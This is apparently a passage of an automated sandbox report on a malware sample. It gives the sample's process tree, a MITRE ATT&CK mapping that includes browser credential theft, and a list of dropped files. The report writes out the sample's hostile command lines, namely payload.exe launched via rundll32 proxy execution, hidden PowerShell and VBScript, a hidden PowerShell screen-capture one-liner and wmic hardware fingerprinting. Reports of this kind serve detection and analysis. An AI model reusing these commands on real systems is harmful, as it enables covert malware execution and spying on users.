                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3568,i,14975898315542842962,12990777741747611680,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:14
                                                                                                            4⤵
                                                                                                              PID:2728
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6204,i,16074318571969459139,8574781374929025431,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:14
                                                                                                              4⤵
                                                                                                                PID:5896
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
                                                                                                                  cookie_exporter.exe --cookie-json=1128
                                                                                                                  5⤵
                                                                                                                    PID:1612
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5992,i,17055324341619858975,923153742907583937,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:14
                                                                                                                  4⤵
                                                                                                                    PID:3424
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5992,i,17055324341619858975,923153742907583937,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:14
                                                                                                                    4⤵
                                                                                                                      PID:1124
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6316,i,17960945808379741501,7945158436063667745,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14
                                                                                                                      4⤵
                                                                                                                        PID:324
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
                                                                                                                          cookie_exporter.exe --cookie-json=592
                                                                                                                          5⤵
                                                                                                                            PID:3792
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6356,i,15578918858764415128,9175112949847813830,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:14
                                                                                                                          4⤵
                                                                                                                            PID:4592
                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6552,i,16332030391826921542,17268237160972599997,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:14
                                                                                                                            4⤵
                                                                                                                              PID:1464
                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6560,i,8161765224378462395,17449906449590321898,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:14
                                                                                                                              4⤵
                                                                                                                                PID:580
                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6840,i,12579269499045956994,16455991313514267823,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=6860 /prefetch:14
                                                                                                                                4⤵
                                                                                                                                  PID:1204
                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6876,i,9534580145971095880,14928675531101603746,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:14
                                                                                                                                  4⤵
                                                                                                                                    PID:4956
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe""
                                                                                                                                2⤵
                                                                                                                                • Executes a command shell one-liner
                                                                                                                                PID:1576
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe"
                                                                                                                                  3⤵
                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                  PID:3716
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe"
                                                                                                                                    4⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    PID:732
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe""
                                                                                                                                2⤵
                                                                                                                                • Executes a command shell one-liner
                                                                                                                                PID:2464
                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                  explorer.exe "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe"
                                                                                                                                  3⤵
                                                                                                                                    PID:4844
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe""
                                                                                                                                  2⤵
                                                                                                                                  • System Binary Proxy Execution: Rundll32
                                                                                                                                  PID:4024
                                                                                                                                  • C:\Windows\system32\rundll32.exe
                                                                                                                                    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe"
                                                                                                                                    3⤵
                                                                                                                                    • System Binary Proxy Execution: Rundll32
                                                                                                                                    PID:4352
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe"
                                                                                                                                      4⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:236
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe' -WindowStyle Hidden""
                                                                                                                                  2⤵
                                                                                                                                  • Hide Artifacts: Hidden Window
                                                                                                                                  PID:4736
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe' -WindowStyle Hidden"
                                                                                                                                    3⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    PID:1888
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe"
                                                                                                                                      4⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:3936
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\mssetup_daddc1.vbs""
                                                                                                                                  2⤵
                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                  PID:388
                                                                                                                                  • C:\Windows\system32\wscript.exe
                                                                                                                                    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\mssetup_daddc1.vbs"
                                                                                                                                    3⤵
                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                    PID:2132
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe"
                                                                                                                                      4⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:2912
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost_39893c.png\"); $g.Dispose(); $bmp.Dispose()""
                                                                                                                                  2⤵
                                                                                                                                  • Hide Artifacts: Hidden Window
                                                                                                                                  PID:3964
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost_39893c.png\"); $g.Dispose(); $bmp.Dispose()"
                                                                                                                                    3⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    PID:4092
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
                                                                                                                                  2⤵
                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                  PID:1428
                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                    wmic baseboard get serialnumber /value
                                                                                                                                    3⤵
                                                                                                                                      PID:4928
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                                                                                                                                    2⤵
                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                    PID:4536
                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                      wmic diskdrive get serialnumber /value
                                                                                                                                      3⤵
                                                                                                                                        PID:1648
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
                                                                                                                                      2⤵
                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                      PID:2688
                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                        wmic baseboard get serialnumber /value
                                                                                                                                        3⤵
                                                                                                                                          PID:1204
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                                                                                                                                        2⤵
                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                        PID:1640
                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                          wmic diskdrive get serialnumber /value
                                                                                                                                          3⤵
                                                                                                                                            PID:1584
                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                        1⤵
                                                                                                                                          PID:4896
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe"
                                                                                                                                            2⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:3144
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                          1⤵
                                                                                                                                            PID:4460
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                                            1⤵
                                                                                                                                              PID:4268
                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                              1⤵
                                                                                                                                                PID:5280
                                                                                                                                              • C:\Windows\system32\sihost.exe
                                                                                                                                                sihost.exe
                                                                                                                                                1⤵
                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                PID:5708
                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                  explorer.exe /LOADSAVEDWINDOWS
                                                                                                                                                  2⤵
                                                                                                                                                  • Modifies registry class
                                                                                                                                                  PID:2704
                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                explorer.exe
                                                                                                                                                1⤵
                                                                                                                                                • Boot or Logon Autostart Execution: Active Setup
                                                                                                                                                • Enumerates connected drives
                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                                • Modifies registry class
                                                                                                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                PID:2192
                                                                                                                                              • C:\Windows\System32\rundll32.exe
                                                                                                                                                C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
                                                                                                                                                1⤵
                                                                                                                                                  PID:3140
                                                                                                                                                • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                                                                  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                                                                  1⤵
                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                  • Modifies registry class
                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                  PID:2532
                                                                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                  1⤵
                                                                                                                                                  • Modifies registry class
                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                  PID:420

                                                                                                                                                Network

                                                                                                                                                      MITRE ATT&CK Enterprise v16

                                                                                                                                                      Reconnaissance

                                                                                                                                                      Resource Development

                                                                                                                                                      Initial Access

                                                                                                                                                      Execution

                                                                                                                                                      Command and Scripting Interpreter

                                                                                                                                                      3
                                                                                                                                                      T1059

                                                                                                                                                      PowerShell

                                                                                                                                                      1
                                                                                                                                                      T1059.001

                                                                                                                                                      Visual Basic

                                                                                                                                                      1
                                                                                                                                                      T1059.005

                                                                                                                                                      Windows Command Shell

                                                                                                                                                      1
                                                                                                                                                      T1059.003

                                                                                                                                                      Persistence

                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                      1
                                                                                                                                                      T1547

                                                                                                                                                      Active Setup

                                                                                                                                                      1
                                                                                                                                                      T1547.014

                                                                                                                                                      Privilege Escalation

                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                      1
                                                                                                                                                      T1547

                                                                                                                                                      Active Setup

                                                                                                                                                      1
                                                                                                                                                      T1547.014

                                                                                                                                                      Defense Evasion

                                                                                                                                                      Hide Artifacts

                                                                                                                                                      3
                                                                                                                                                      T1564

                                                                                                                                                      File/Path Exclusions

                                                                                                                                                      1
                                                                                                                                                      T1564.012

                                                                                                                                                      Hidden Window

                                                                                                                                                      1
                                                                                                                                                      T1564.003

                                                                                                                                                      Ignore Process Interrupts

                                                                                                                                                      1
                                                                                                                                                      T1564.011

                                                                                                                                                      Impair Defenses

                                                                                                                                                      2
                                                                                                                                                      T1562

                                                                                                                                                      Disable or Modify Tools

                                                                                                                                                      2
                                                                                                                                                      T1562.001

                                                                                                                                                      Modify Registry

                                                                                                                                                      3
                                                                                                                                                      T1112

                                                                                                                                                      Obfuscated Files or Information

                                                                                                                                                      1
                                                                                                                                                      T1027

                                                                                                                                                      Command Obfuscation

                                                                                                                                                      1
                                                                                                                                                      T1027.010

                                                                                                                                                      System Binary Proxy Execution

                                                                                                                                                      1
                                                                                                                                                      T1218

                                                                                                                                                      Rundll32

                                                                                                                                                      1
                                                                                                                                                      T1218.011

                                                                                                                                                      Credential Access

                                                                                                                                                      Credentials from Password Stores

                                                                                                                                                      1
                                                                                                                                                      T1555

                                                                                                                                                      Credentials from Web Browsers

                                                                                                                                                      1
                                                                                                                                                      T1555.003

                                                                                                                                                      Unsecured Credentials

                                                                                                                                                      4
                                                                                                                                                      T1552

                                                                                                                                                      Credentials In Files

                                                                                                                                                      3
                                                                                                                                                      T1552.001

                                                                                                                                                      Credentials in Registry

                                                                                                                                                      1
                                                                                                                                                      T1552.002

                                                                                                                                                      Discovery

                                                                                                                                                      Browser Information Discovery

                                                                                                                                                      1
                                                                                                                                                      T1217

                                                                                                                                                      Peripheral Device Discovery

                                                                                                                                                      2
                                                                                                                                                      T1120

                                                                                                                                                      Query Registry

                                                                                                                                                      6
                                                                                                                                                      T1012

                                                                                                                                                      System Information Discovery

                                                                                                                                                      5
                                                                                                                                                      T1082

                                                                                                                                                      System Network Configuration Discovery

                                                                                                                                                      1
                                                                                                                                                      T1016

                                                                                                                                                      Internet Connection Discovery

                                                                                                                                                      1
                                                                                                                                                      T1016.001

                                                                                                                                                      System Time Discovery

                                                                                                                                                      1
                                                                                                                                                      T1124

                                                                                                                                                      Lateral Movement

                                                                                                                                                      Collection

                                                                                                                                                      Data from Local System

                                                                                                                                                      3
                                                                                                                                                      T1005

                                                                                                                                                      Command and Control

                                                                                                                                                      Exfiltration

                                                                                                                                                      Impact

                                                                                                                                                      Replay Monitor

                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                      Downloads

                                                                                                                                                      BookmarkMergedSurfaceOrdering
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                                                                                                      • Size 6B
                                                                                                                                                      • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                      Submit Download

                                                                                                                                                      BrowsingTopicsState
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                                                                                                                      • Size 414B
                                                                                                                                                      • SHA256 e01405094849bffb483893be76965b36c95f19a3ec705908b726c4da24d31b61
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      35521feb-7570-4e75-89b1-10d68c3df1bf.tmp
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\35521feb-7570-4e75-89b1-10d68c3df1bf.tmp
                                                                                                                                                      • Size 2B
                                                                                                                                                      • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                      Submit Download

                                                                                                                                                      Preferences
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                      • Size 12KB
                                                                                                                                                      • SHA256 639fb3a25f4f5aebafd200bcaa0a8b18044defdfaeafacf192bb216110320dcd
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      Secure Preferences
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                      • Size 17KB
                                                                                                                                                      • SHA256 86a708718cf15f4439caa697f6058448e2b7016cb1cef9cd2e54315587d87208
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      Local State
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                      • Size 235KB
                                                                                                                                                      • SHA256 f98af115797cc3fe160151ff2d950de0117336c176c12788447ed3980aab722b
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      Local State
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                      • Size 115KB
                                                                                                                                                      • SHA256 75fed5e63a5a530569f6334daffe8d2903842aff24ab7703bd8ec136d63be967
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      powershell.exe.log
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                                      • Size 3KB
                                                                                                                                                      • SHA256 18d5722b4bdd546da121b4c8756096755cab8cb7c40126d93644910d9292f343
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      blocklist
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
                                                                                                                                                      • Size 105KB
                                                                                                                                                      • SHA256 ef8866f735596bf618a687a9921abc6ce304d0ca5ebc4fa6171ec683b3417574
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      settings.dat
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                      • Size 280B
                                                                                                                                                      • SHA256 940cbc9ecbe8080b4f78231e8ea559e5f25ba4586d9b9c7484580010ea141f8b
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      settings.dat
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                      • Size 280B
                                                                                                                                                      • SHA256 3d6022b8b09d410224e6f49ce6c5693abe531fcaf66bb13ef03126afd2691fe0
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      SiteList-Enterprise.json
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                                                                                                                                                      • Size 2B
                                                                                                                                                      • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                      Submit Download

                                                                                                                                                      Edge Profile.ico
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                                                                                                                                                      • Size 70KB
                                                                                                                                                      • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      sync_diagnostic.log
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
                                                                                                                                                      • Size 4KB
                                                                                                                                                      • SHA256 328b61467f135ae3d60b1d57d1bd64b37fa691122766f6fb8bd1e19d27f25b47
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      Local State
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                      • Size 8KB
                                                                                                                                                      • SHA256 2eaaf62cb7acd76800368035ec07c38d5806689065a6fa21770240b4573549d9
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      Local State
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                      • Size 8KB
                                                                                                                                                      • SHA256 00ba1f1b8042e257ff45590c38293c6f76de80b710018ee5f8b9bb71fe73fe0c
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      StartupProfileData-NonInteractive
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                      • Size 1KB
                                                                                                                                                      • SHA256 b79f569e6c453b33139dcd90442a80e59ac882a1e272a8e4a322d295bfac3ab0
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      StartupProfileData-NonInteractive
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                      • Size 1KB
                                                                                                                                                      • SHA256 75eee02213cab84a1e08fbb34823f3db1d43e1857bd5976fc499ebda5349e17a
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      StartupProfileData-NonInteractive
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                      • Size 1KB
                                                                                                                                                      • SHA256 aefd790a94e350ed18bd3513a459424d8b2ed26591a0cc3697d2b24a03510bec
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      StartupProfileData-NonInteractive
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                      • Size 1KB
                                                                                                                                                      • SHA256 0ca8100f47821f674565f0413248cf17a6c7ebb93fe539ee41cc1fc436e36c8b
